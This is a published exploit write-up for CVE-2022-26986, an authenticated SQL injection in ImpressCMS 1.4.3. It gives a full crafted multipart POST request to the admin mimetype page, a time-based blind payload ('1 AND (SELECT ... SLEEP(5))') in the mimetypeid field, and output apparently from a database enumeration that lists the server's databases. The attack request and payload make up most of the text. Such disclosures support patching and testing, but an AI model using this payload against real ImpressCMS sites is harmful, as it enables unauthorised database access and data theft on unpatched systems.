ImpressCMS v1.4.3 - Authenticated SQL Injection

# Exploit Title: Authenticated Sql Injection in ImpressCMS v1.4.3
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Date: 7th March 2022
# CVE ID: CVE-2022-26986
# Confirmed on release 1.4.3, this vulnerability is patched in the version 1.4.4 and above...
# Vendor: https://www.impresscms.org
# Source: https://github.com/ImpressCMS/impresscms/releases/tag/v1.4.3

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#Step1- Login with Admin Credentials
#Step2- Vulnerable Parameter to SQLi: mimetypeid (POST request):

POST /ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1 HTTP/1.1
Host: 192.168.56.117
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------40629177308912268471540748701
Content-Length: 1011
Origin: http://192.168.56.117
Connection: close
Referer: http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype&op=mod&mimetypeid=1
Cookie: tbl_SystemMimetype_sortsel=mimetypeid; tbl_limitsel=15; tbl_SystemMimetype_filtersel=default; ICMSSESSION=7c9f7a65572d2aa40f66a0d468bb20e3
Upgrade-Insecure-Requests: 1

-----------------------------40629177308912268471540748701
Content-Disposition: form-data; name="mimetypeid"

1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)
-----------------------------40629177308912268471540748701
Content-Disposition: form-data; name="extension"

bin
-----------------------------40629177308912268471540748701
Content-Disposition: form-data; name="types"

application/octet-stream
-----------------------------40629177308912268471540748701
Content-Disposition: form-data; name="name"

Binary File/Linux Executable
-----------------------------40629177308912268471540748701
Content-Disposition: form-data; name="icms_page_before_form"

http://192.168.56.117/ImpressCMS/htdocs/modules/system/admin.php?fct=mimetype
-----------------------------40629177308912268471540748701
Content-Disposition: form-data; name="op"

addmimetype
-----------------------------40629177308912268471540748701
Content-Disposition: form-data; name="modify_button"

Submit
-----------------------------40629177308912268471540748701--

Vulnerable Payload:
1 AND (SELECT 3583 FROM (SELECT(SLEEP(5)))XdxE)   //time-based blind (query SLEEP)

Output:
web application technology: Apache 2.4.52, PHP 7.4.27
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
available databases [6]:
[*] impresscms
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test